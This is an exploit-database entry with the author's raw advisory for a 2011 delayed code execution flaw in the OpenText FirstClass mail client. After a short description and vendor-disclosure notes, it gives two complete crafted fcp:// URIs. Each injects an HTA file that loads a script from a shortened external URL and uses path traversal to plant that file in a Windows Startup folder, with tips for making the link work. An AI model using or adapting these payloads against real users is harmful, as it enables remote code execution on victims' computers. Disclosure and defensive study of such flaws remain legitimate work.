OpenText FirstClass Client (Delayed) Code Executiion

vendor:

FirstClass Client

by:

Kyle Ossinger

8.8

CVSS

HIGH

Code Execution

CWE

Product Name: FirstClass Client

Affected Version From: v.11 and lower

Affected Version To: v.11 and lower

Patch Exists: YES

Related CWE: none

CPE: a:opentext:firstclass_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP, Vista, 7

2011

OpenText FirstClass Client (Delayed) Code Executiion

By getting a victim to click on a specially crafted link in the FirstClass mail client, an attacker can place an executable file on the victim's computer which will be executed upon the next system reboot. The way it works is that you can make a URI to create a settings file for the user to use, by crafting it as such: fcp://username:password(optional)@servername.tld;settingsfilename.fc Whatever you put into username and servername gets put into the settings file as plain-text, so that is how I inject some code. You normally can't change the file extension though (seen at the end of the URI), but after a lot of tinkering I found that if you make the URI try to access a path inside of the firstclass server, you (for some reason) CAN change the file extension. Since I had to inject some command line code, I used the “start” command to execute the file.

Mitigation:

Contact the vendor for a patch or update to the software.

Source

Exploit-DB raw data:

# Exploit Title: OpenText FirstClass Client (Delayed) Code Executiion
# Date: Discovered 11/16/2010, Contacted OpenText 2/1/11 and 2/7/11,
Released 4/11/2011
# Author: Kyle Ossinger (www.k0ss.net)
# Email: security@k0ss.net
# Software Link:
http://www3.firstclass.com/ClientDownloads/FC11ClientDownloadFiles/FC11005US.exe
# Version: v.11 and lower, but will probably work on newer versions
once they are released
# Tested on: Windows XP, Vista, 7
# CVE : none, no response from MITRE about this

DISCLAIMER
--------------------
I contacted OpenText about this issue twice over the period of a few
weeks and they never responded.  This is why I'm releasing the exploit
now; so it has a better chance of being patched.
I take no responsibility for how anyone uses the following
information.  I only hope this helps the exploit developers think
outside the box of overflow exploits in executable programs.  Any
testing of the following information should be used in an isolated
network using a FirstClass server that you own and operate or have
permission to try this out on.


ABOUT
-----------
This is an implementation flaw, not your usual buffer overflow/heap
overflow/format string exploit.
By getting a victim to click on a specially crafted link in the
FirstClass mail client, an attacker can place an executable file on
the victim's computer which will be executed upon the next system
reboot.

The way it works is that you can make a URI to create a settings file
for the user to use, by crafting it as such:
fcp://username:password(optional)@servername.tld;settingsfilename.fc

Whatever you put into username and servername gets put into the
settings file as plain-text, so that is how I inject some code.  You
normally can't change the file extension though (seen at the end of
the URI), but after a lot of tinkering I found that if you make the
URI try to access a path inside of the firstclass server, you (for
some reason) CAN change the file extension.  Since I had to inject
some commands into this file to make it execute code, but it is
surrounded by junk characters that would break any compiled executable
or even batch scripts, I knew I'd have to use an HTML Application
(HTA) file, which does indeed work wonderfully.


THE EXPLOIT URI
---------------------------
The following URI will add the executable file to the startup programs
directory of every user on the computer, given that the current user
has write access to the All Users directory on windows.  An attacker
would only use this if he or she were certain that the victim user is
an Administrator on his or her computer.

fcp://<hta><script src='is.gd/9JR6g0' id="s"></script>@<body
onload=(s.src="http"%2bString.fromCharCode(58)%2bString.fromCharCode(47)%2BString.fromCharCode(47)%2Bs.src)>/j;%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cAll%20Users%5cStart%20Menu%5cPrograms%5cStartup%5ca%2ehta

The following URI will add that same executable file to the CURRENT
USER's startup programs directory, but maybe afterwards the attacker
could launch some privilege escalation exploits to get the desired
access.

fcp://<hta><script src='is.gd/9JR6g0' id="s"></script>@<body
onload=(s.src="http"%2bString.fromCharCode(58)%2bString.fromCharCode(47)%2BString.fromCharCode(47)%2Bs.src)>/j;%2e%2e%5c%2e%2e%5c%2e%2e%5cStart%20Menu%5cPrograms%5cStartup%5ca%2ehta

If you want to understand more of how this exploit works please check
out www.k0ss.net, but if you just want to know the basic idea of how
it works these basics will have to suffice.
The <script src=> needs to point to your javascript file which uses
only javascript that WSH can understand.  Also, the URL pointing to
your script file must be made into a small URL in order to fit size
constraints.  Make sure to strip off the "http://" part from the
script URL as well, as it would break the exploit.


NOTE: The URI can be a bit finicky when trying to put it into a
bookmark/link on FirstClass.  It usually adds 2 random CRLF
characters, and gets rid of the 'a' in "hta".  You can correct this
and hit Ok again, and it will look normal again and work.  It's just
something to check if it isn't working on your test machine.

A complete write-up on how this particular exploit works can be viewed
at www.k0ss.net